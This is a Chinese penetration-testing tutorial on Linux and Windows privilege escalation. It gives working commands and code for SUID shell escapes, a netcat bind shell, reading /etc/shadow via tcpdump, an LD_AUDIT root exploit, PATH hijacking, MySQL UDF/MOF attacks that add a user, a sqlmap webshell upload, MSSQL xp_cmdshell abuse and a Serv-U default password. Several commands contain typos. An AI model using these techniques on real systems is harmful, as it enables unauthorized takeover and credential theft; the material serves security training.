渗透测试-03权限提升与内网渗透

0x01 信息搜集

Linux

  • LinEnum
      LinEnum可以列举系统设置并且高度总结的linux本地枚举和权限提升检测脚本。
    隐私访问:判断当前用户是否能够用空口令使用sudo命令,root用户的家目录能否访问。
    系统信息:主机名,网络详情,当前IP等等。
    用户信息:当前用户,列出所有包含uid/gid的用户信息,列出有root权限的用户,检查密码hash是否保存在/etc/passwd。
    内核和发行版详细信息
  • Linuxprivchecker
      Linuxprivchecker枚举系统设置和执行一些提升权限的检查。它由python实现,用来对被控制的系统提供建议的exploits。
  • Linux Exploit Suggester
      Linux Exploit Suggester它基于操作系统的内核版本号。这个程序会执行“uname -r”来得到系统内核版本号。然后返回一个包含了可能exploits的列表。另外它还可以使用“-k”参数手工指定内核版本。
      如果你知道内核版本号就可以在终端中直接使用下列命令:./Linux_Exploit_Suggester.pl -k 3.5如果不知道就输入./Linux_Exploit_Suggester.pl uname –r来获得内核版本号然后使用上面的命令并把版本号替换成你自己的。然后它就会给出建议的exploits列表。

  • Unix-Privesc-checker
      Unix-Privesc-checker在UNIX系统上检测权限提升向量的shell脚本。它可以在UNIX和Linux系统上运行。寻找那些错误的配置可以用来允许未授权用户提升对其他用户或者本地应用的权限。
    unix-privesc-check standard

    unix-privesc-check detailed
  • Linux_Exploit_Suggester
      Linux_Exploit_Suggester

Windows

  • Windows-Exploit-Suggester
      在目标机器中执行systeminfo,并保存为文本文件,Windows-Exploit-Suggester中所有的文件和内容


      执行python windows-exploit-suggester.py –database 2017-02-27-mssb.xls –systeminfo 12.txt ,参数–database,指定数据库位置(就是那个excel文件),参数–systeminfo,指定目标信息的文件。它会显示所有可能的漏洞的操作系统受害者Windows PC

    或者在线检测:
    https://bugs.hacking8.com/tiquan/
    exp查找网址:
    https://github.com/SecWiki/windows-kernel-exploits
    https://www.exploit-db.com/
  • BeRoot
      BeRoot是一款Post-Exploitation工具,也就是在黑客拿到目标主机的Shell之后所要用到的一种东西。BeRoot可以帮助我们检查目标Windows系统中存在的错误配置,并找出提权的方法。
  • 常用命令
    1
    2
    3
    4
    5
    6
    7
    8
    9
    systeminfo | findstr OS #获取系统版本信息
    hostname #获取主机名称
    whomai /priv #显示当前用户的安全特权
    quser or query user #获取在线用户
    netstat -ano | findstr 3389 #获取rdp连接来源IP
    dir c:\programdata\ #分析安装杀软
    wmic qfe get Caption,Description,HotFixID,InstalledOn #列出已安装的补丁
    REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber #获取远程端口
    tasklist /svc | find "TermService" + netstat -ano #获取远程端口

0x02 提权方法

Linux

1
2
3
4
5
6
常规思路:
1、检查漏洞系统的操作系统发行版
2、查看内核版本
3、检查可用的用户及当前用户的权限
4、列出SUID文件(常见的Linux错误配置)
5、查看安装的包、程序、运行的服务,过时的版本可能存在漏洞。

  • 利用Linux内核漏洞提权
    1
    2
    3
    lsb_release -a 查看系统的发行版本
    uname -a 查看内核版本
    也可以使用我们前面讲的那几个工具进行信息搜集

  查找EXP可以利用前面Linux_Exploit_Suggester.pl脚本或者kali自带的searchsploit来搜索exploitdb中的漏洞利用代码,或者SecWiki的github也有整理。
  我们首先移动到/tmp目录,然后新建一个文件,粘贴exploit代码进去依次运行:

1
2
3
$ cd /tmp
$ touch exploit.c
$ vim exploit.c

  vim保存退出后,我们编译执行代码

1
2
3
$ gcc exploit.c -o exploit
$ chomd 777 ./exploit
$ ./exploit

1
2
通过截图可以看到我们已经获取到了root权限,接下来获取交互式的shell
$ python -c ‘import pty; pty.spawn(“/bin/bash”)’
  • 利用低权限用户目录下可被Root权限用户调用的脚本提权
    如果设置了SUID这个标志位,普通权限的程序在执行的时候,可以暂时拥有root权限。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
find / -perm -u=s -type f 2>/dev/null (使用这个最多)
find –perm mode #根据文件的权限来查找文件
-u=s #查找s权限使一般使用者临时具有该文件所属主/组的执行权限
-type b/d/c/p/l/f #查是块设备、目录、字符设备、管道、符号链接、普通文件
“2> /dev/null” #代表忽略掉错误提示信息。
可以用来提权的可执行文件有:
Nmap 2.02到5.21
Vim
find
Bash
More
Less
Nano
cp


nmap
老版本的nmap(2.02-5.21)有 interactive,是允许用户执行系统命令的。提权方式

1
2
3
4
5
6
nmap --interactive
nmap> !sh
sh-3.2# whoami
root
msf模块为:exploit/unix/local/setuid_nmap



Find

1
2
touch test
find test -exec whoami \;

如果服务器上装了nc,可以直接使用以下命令进行监听:

1
2
3
4
find test -exec netcat -lvp 5555 -e /bin/sh \;
之后进行连接:
netcat 192.168.1.100 5555
则可获取root shell

vim/vi
打开vim,按下ESC

1
2
3
4
:set shell=/bin/sh
:shell
即可执行命令

bash

1
2
3
bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

less

1
2
less /etc/passwd
!/bin/sh

more

1
2
more /home/pelle/myfile
!/bin/bash

cp
使用cp覆盖 /etc/shadow
mv
使用mv 覆盖 /etc/shadow 或者/etc/sudoers
awk

1
awk 'BEGIN {system("/bin/bash")}'

man

1
2
man passwd
!/bin/bash

python/perl/ruby/lua/etc

1
2
3
4
5
6
perl
exec "/bin/bash";
python
import os
os.system("/bin/bash")

tcpdump

1
2
3
echo $'id\ncat /etc/shadow' > /tmp/.test
chmod +x /tmp/.test
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root

利用tmp目录权限、suid 权限和C语言使普通帐号提权为ROOT权限,RHEL5-RHEL6下面都可以实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
[root@ahu ~]# useradd test
[root@ahu ~]# passwd test
New password:
Retype new password:
passwd: all authentication tokens updated successfully.
[root@ahu ~]# su - test
[test@ahu ~]$ whoami
test //登陆到普通用户,发现创建不了其他用户
[test@ahu ~]$ useradd aaa
-bash: /usr/sbin/useradd: Permission denied
进行身份变换
[test@ahu ~]$ mkdir /tmp/exploit
[test@ahu ~]$ ln /bin/ping /tmp/exploit/target
[test@ahu exploit]$ exec 3< /tmp/exploit/target
[test@ahu exploit]$ ls -l /proc/$$/fd/3
lr-x------ 1 test test 64 Aug 17 21:41 /proc/35612/fd/3 -> /tmp/exploit/target
[test@ahu exploit]$ rm -rf /tmp/exploit/
[test@ahu exploit]$ ls -l /proc/$$/fd/3
[test@ahu ~]$ vim payload.c
void __attribute__((constructor)) init() //在配置文件加入如下的内容
{
setuid(0);
system("/bin/bash");
}
~
[test@ahu ~]$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
[test@ahu ~]$ ls -l /tmp/exploit
[test@ahu ~]$ LD_AUDIT="$ORIGIN" exec /proc/self/fd/3
Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
[-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
[-M mtu discovery hint] [-S sndbuf]
[ -T timestamp option ] [ -Q tos ] [hop1 ...] destination
[root@ahu ~]# whoami
root
发现身份变成了 root用户。身份变换成功!
exploits:https://www.exploit-db.com/exploits/15274/

  • 利用环境变量劫持高权限程序提权
      我们当前登录的是”Kane”账号,当前没有有效的内核exploit,也没有其他可以利用的suid文件,只有在Kane的home目录下有一个“msgmike.”文件 ,使用file命令查看下这个文件 ,这是一个ELF 32位 LSB执行文件,但是当我们执行文件的时候,报错了

      通过报错信息我们可以看到msgmike调用cat命令读取/home/mike/msg.txt文件。针对这种情况,我们可以通过设置bash的$path环境变量来利用,通常的$PATH包含

      然而当我们调用cat命令的时候,cat会从以上目录来寻找,如果我们添加.到$PATH环境变量,则会先从当前目录来寻找cat指令,新建cat,添加执行权限

      这样当我们再次运行./msgmike命令的时候,就会触发当前目录下的cat(/bin/sh),从而提权。完整的exploit如下

  • MySQL连接用户为root
    利用mysql提权

1、找到MySQL插件目录

1
2
python sqlmap.py -u 'http://xxxx' --sql-shell
show variables like "%plugin%";

2、利用sqlmap上传 lib_mysqludf_sys到MySQL插件目录;

1
2
python sqlmap.py -u 'http://xxxx' --file-write=/lib_mysqludf_sys.so
--file-dest=/usr/lib/mysql/plugin/

3、激活存储过程「sys_exec」函数:

1
2
3
4
python sqlmap.py -u 'http://xxxx' --sql-shell
CREATE FUNCTION sys_exec RETURNS STRING SONAME lib_mysqludf_sys.so
SELECT * FROM information_schema.routines
sys_exec(id);

也利用sqlmap上传后门程序:

1
2
3
4
python sqlmap.py -u 'http://xxx' --file-write=C:/phpspy.php --file-dest=/var/www/spy.php
https://github.com/mysqludf/lib_mysqludf_sys
https://code.google.com/p/mysql-udf-http/
  • 利用动态链接共享对象库进行Linux提权
      Linux中的动态链接共享对象库(dynamically linked shared object libraries)有点像Windows的DLL文件,与Windows中的DLL植入攻击类似,可以利用弱文件权限的共享库执行任意代码,进行Linux提权。
    OS怎样找到共享库?
    1
    2
    3
    4
    5
    6
    7
    8
    当使用共享库的应用运行时,操作系统就会以下面的顺序寻找库:
    1. rpath-link选项中指定的目录;
    2. –rpath选项中指定的目录;
    3. LD_RUN_PATH;
    4. LD_LIBRARY_PATH;
    5. DT_RUNPATH或DT_RPATH中的目录;
    6. /lib and /usr/lib;
    7. /etc/ld.so.conf下的目录。

如何获取Root权限?
  如果攻击者可以用恶意的共享库取代原来的共享库,那么当应用运行时,就可以加载恶意代码,并以运行者的权限运行恶意代码。如果应用是以root用户权限运行的,那么整个主机就沦陷了。
  攻击者可能需要耐心等待应用的运行,或者用社会工程学的技巧来诱导系统管理员执行运行恶意代码的应用。如果应用在开始菜单中被调用,比如cron或者其他进程,那么权限提升利用过程会快很多。

  • 用RPATH和弱文件权限编译的二进制文件可以进行root提权。
    可以用ldd工具来找出使用共享库的二进制文件

    当objdump运行时,可以看到它是被/tmp/program/main处的静态RPATH编译的:

    /tmp分区默认是可写的,如果创建分区时没有NOEXEC标志,攻击者就可以在contextBinary运行时写入恶意的共享库。在有问题的服务器上,有个root权限的cron任务刚刚执行了有漏洞的二进制文件:

    在这个例子中我们用metasploit框架来创建可以在系统上植入的共享库。首先在攻击者的主机上设立handler

    这时,恶意库就创建了。利用的第一步是操作系统寻找共享库可以模仿的库:

    之前我用msfvenom创建的有相同payload的共享库作为handler:

    在被攻击的主机上,创建了目录结构而且库在可写的:

    一旦cron任务运行,恶意库就会执行。在metasploit控制台上有以root权限运行的shell会话,如图所示:

Linux提权指南
https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
Linux提权辅助脚本
https://www.securitysift.com/download/linuxprivchecker.py
https://github.com/HappyTreeFriend/linux-exploit-suggester
LinuxExploits
https://github.com/HappyTreeFriend/kernel-exploits
项目:
https://github.com/NullArray/RootHelper

Windows

  • 利用exp溢出
      尝试运行已知溢出漏洞的exp来获取system权限。注意shell不能执行命令,EXP可以在exploit-db获取。使用Windows-Exploit-Suggester查看可以执行的EXP
  • WINDOWS错误系统配置
    1、检测目标主机是否存在该漏洞
    1
    2
    3
    4
    wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\" |findstr/i /v """
    如果存在一下结果则表示存在:
    FABS - Helping agent for MAGIX media database Fabs C:\Program Files (x86)\Common
    Files\MAGIX Services\Database\bin\FABS.exe /DisableUI Auto

或者使用BeRoot工具进行检测。
2、检查对有漏洞目录是否有写入的权限。
  使用Windows内建工具icacls查看路径中受影响文件夹的权限,(M)代表修改权限,(F)代表完全控制,(CI)代表从属容器将继承访问控制项,(OI)代表从属文件将继承访问控制项。
3、攻击。
  将我们需要执行的exe根据需要重命名并放置在可写入的有漏洞目录下,然后运行如下命令尝试重启服务,如果失败的话等待服务器重启时执行exe,成功提权后记得清理痕迹。

1
2
sc stop service_name
sc start service_name

具体可以学习参考:http://www.freebuf.com/articles/system/131388.html

  • Windows Services漏洞提权
      Windows系统服务运行在后端,由操作系统通过SCM(服务控制管理)控制,它负责处理所有发送给windows服务的命令,接收windows服务的更新。如果我们能够修改一个服务的二进制文件路径属性,在重启服务的时候,我们可以让服务以system权限替我们启动一个命令。
  • Serv-U提权
      Ser-u提权可以利用serv-u ftp本地溢出漏洞进行,具体方法用serv-u工具提权生成serv-u提权工具生成serv_u.exe,将其上传到一个盘符执行提权命令。
      也可以用serv-u管理用户来进行提权,serv-u的默认管理端口是43958,只有本地才能连接这个管理端口。Serv-u默认管理账号为LocalAdministrator,默认密码是“#@$ak#.lk;0@P”,这个密码是固定的,如果网站管理员忘记修改密码,那么获取webshell后就可以连接该端口后执行命令来添加系统用户。如果管理员修改了密码,还可以通过ServUAdmin.exe文件来获取管理账号和密码。现在大马已经集成了Serv-U一键提权

  • SQL Server提权
    SA权限使用xp_cmdshell存储过程进行提权
    1、开启xp_cmdshell
    xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。
    1
    2
    3
    4
    5
    6
    EXEC sp_configure 'show advanced options',1//允许修改高级参数
    RECONFIGURE
    EXEC sp_configure 'xp_cmdshell',1 //打开xp_cmdshell扩展
    RECONFIGURE
    若开启失败,可能管理员删除了组件,可以通过一下命令恢复
    dbcc addextendedproc("xp_cmdshell","xplog70.dll");

突破SA的各种困难
常见情况恢复执行xp_cmdshell
1 未能找到存储过程’master..xpcmdshell’.
恢复方法:查询分离器连接后,
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname =’xplog70.dll’declare @o int
第二步执行:sp_addextendedproc ‘xp_cmdshell’, ‘xpsql70.dll’
然后按F5键命令执行完毕
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
恢复方法:查询分离器连接后,
第一步执行:sp_dropextendedproc “xp_cmdshell”
第二步执行:sp_addextendedproc ‘xp_cmdshell’, ‘xpsql70.dll’
然后按F5键命令执行完毕
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
恢复方法:查询分离器连接后,
第一步执行:exec sp_dropextendedproc ‘xp_cmdshell’
第二步执行:exec sp_addextendedproc ‘xp_cmdshell’,’xpweb70.dll’
然后按F5键命令执行完毕
2、执行命令
exec xp_cmdshell ‘whoami’

db_owner提权:在db_owner所在管理的表里,创建一个触发器,等管理员用sa用户执行插入表命令的时候就会触发,达到提权目的。mssql也可以通过差异备份写脚本到自启动目录下。利用xp_regwrite再注册表里直接加个系统帐号或者直接写个webshell,在主机重起的时候就可以拿到webshell或者系统权限。

在xp_cmdshell被删除或者出错情况下,我们可以利用其它通过SQL Server 执行系统命令的方法来达到提权效果。
sp_oacreate
SQL Server CLR
Microsoft SQL Server 现在具备与 Microsoft Windows .NET Framework 的公共语言运行时 (CLR) 组件集成的功能。
Agent Job
此种方式适用于服务器开启了MSSQL Agent Job服务,并且服务器中当前运行的用户账号拥有足够的权限去创建并执行代理作业的情况。
PowerUpSQL

  • MYSQL提权
    利用mysql提权的三种方式均需要获取mysql数据库最高权限root的帐号密码

UDF提权:
UDF为User Defined Function用户自定义函数,也就是支持用户自定义函数的功能。这里的自定义函数要以dll形式写成mysql的插件,提供给mysql来使用。也就是说我们可以通过编写dll文件来实现我们需要的功能,UDF编写可以参考(https://www.404sec.com/7817.html)。利用UDF提权需要知道root账户的密码,并且需要目标系统是Windows。用Udf.dll提权原理是利用mysql的自定义函数功能,将mysql账号转化为system权限,但前提是要有一个mysql账号。

在MYSQL 4.1以前的版本中,可以将所有的DLL文件里面的任何函数都注册到MYSQL里面以供MYSQL调用。无论这个DLL在什么位置,函数的声明是什么样的。

在MYSQL 4.1及以后的版本中,对UDF函数进行了限制,只有实现了一个特定接口的函数才可以被成功注册到MYSQL中,这样就防止了通过MYSQL非法调用系统的DLL。

在MYSQL5.0以后,对注册的DLL的位置有了限制,创建函数的时候,所对应的DLL不能包含/或者\,简单的理解就是不能是绝对路径。 所以我们将DLL上传到包含在PATH这个环境变量内的目录中来跳过这个限制(运行echo %path%可以查看可写目录,例如:C:\WINDOWS\udf.dll或C:\WINDOWS\system32\udf.dll),或者放到盘符的根目录下通过c:udf.dll这种形式的写法来跳过限制。

Mysql5.1及以上版本,必须将DLL文件上传到mysql安装目录下的lib\plugin文件夹下才能创建自定义的函数。默认情况下’plugin’文件夹并不存在,可能就是为了防止通过into dumpfile将DLL来写到这个文件夹。可以用命令show variables like ‘%plugin%’查看是否存在plugin文件夹。可以在webshell中手工创建lib、plugin文件夹,也可以像下面这样利用NTFS ADS流来创建文件夹(5.7.14 权限不足,Errcode: 13 - Permission denied。5.5.8可以。哪些版本可以?):

具体方法是上传udf.dll至C:\ProgramFiles\MYSQL\MYSQL Server 5.1\lib\plugin\udf.dll目录,如果mysql版本小于5.1则上传至C:\WINDOWS\uff.dll或C:\WINDOWS\system32\udf.dll,之后可以执行SQL:

1
2
3
4
Creat funtion myCmd returns string soname “uff.dll”;
Select MyCmd(“Cmd命令”);
Drop function Mycmd
即可获取system权限

MOF提权:
MOF是windows管理规范存储库的托管对象格式文件。在mysql提权中,可以找一个可以目录上传mof文件,利用其中的脚本提权

1
2
操作系统版本低于Windows Server 2008;
mysql 版本低于5.7

关于 mof 提权的原理其实很简单,就是利用了c:/windows/system32/wbem/mof/目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行。

该命令,即是把我们的提权命令导入到 nullevt.mof 。
select load_file(“C:/php/APMServ5.2.6/www/htdocs/1.mof”) into dumpfile “c:/windows/system32/wbem/mof/nullevt.mof”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#pragma namespace(“\\\\.\\root\\subscription”)
instance of __EventFilter as $EventFilter
{
EventNamespace = “Root\\Cimv2”;
Name = “filtP2”;
Query = “Select * From __InstanceModificationEvent “
“Where TargetInstance Isa \”Win32_LocalTime\” “
“And TargetInstance.Second = 5”;
QueryLanguage = “WQL”;
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = “consPCSV2”;
ScriptingEngine = “JScript”;
ScriptText =
“var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user secist 123 /add\”)“;
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

为了更高的成功率,我们必须分开两次导入该脚本!第一次为用户添加命令,第二次为用户提权

启动项/组策略:
windows 启动项和开关机组策略目录下的脚本会在用户登录、开机、关机是自动运行,利用mysql向这些路径导出脚本即可执行任意命令,mysql5.7开始默认使用secure-file-priv选项,不能随意选择导出路径,所以这种办法需要目标mysql版本低于5.7。

  • Oracle提权
    DBA权限,利用java访问文件系如果oracle服务是administrator账户启动的,只有一个具有resource和connect权限的数据库账户,就能利用metasploit和smbrelay功能,本地搭建一个服务器来取得系统的访问权限统执行命令:案例

http://www.freebuf.com/articles/system/53987.html

  • 探测其他脚本是否支持
    有PHP脚本执行就可能是system权限,或者看本机有没有tocat用jspshell,权限就有可能是system.

  • Pcanywhere提权
    获得webshell后若是能顺利跳转至C:/Document and SettingAll/UsersApplicationData/SymantecpcAnywhere/下,就可以下载CIF文件,然后使用相关工具读出密码。

  • 星外提权
    首先要能识别主机是否使用了星外虚拟祝你管理系统,可以通过查看网站目录,看其中是否有freehost目录或者星外安装目录,当然可以通过phpinfo识别。
    识别出安装星外虚拟主机管理系统之后,如果有可读可写的目录或者文件,可以直接上传cmd和星外读IIS,运行IIS.exe -i和IIS.exe -u[FreeHost ID]即可获取得密码

Windows提权指南
http://www.fuzzysecurity.com/tutorials/16.html
Windows提权辅助脚本
https://github.com/pentestmonkey/windows-privesc-check
WindowsExploits
https://github.com/abatchy17/WindowsExploits

参考链接:
渗透测试技术之另类Windows提权
Windows提权的几种姿势
技术分享:MSSQL注入xp_cmdshell
详述MSSQL服务在渗透测试中的利用
一个人的武林:内网渗透测试思路(二)
SUID Privilege Escalation
实战Linux下三种不同方式的提权技巧
Linux提权:从入门到放弃
利用动态链接共享对象库进行Linux提权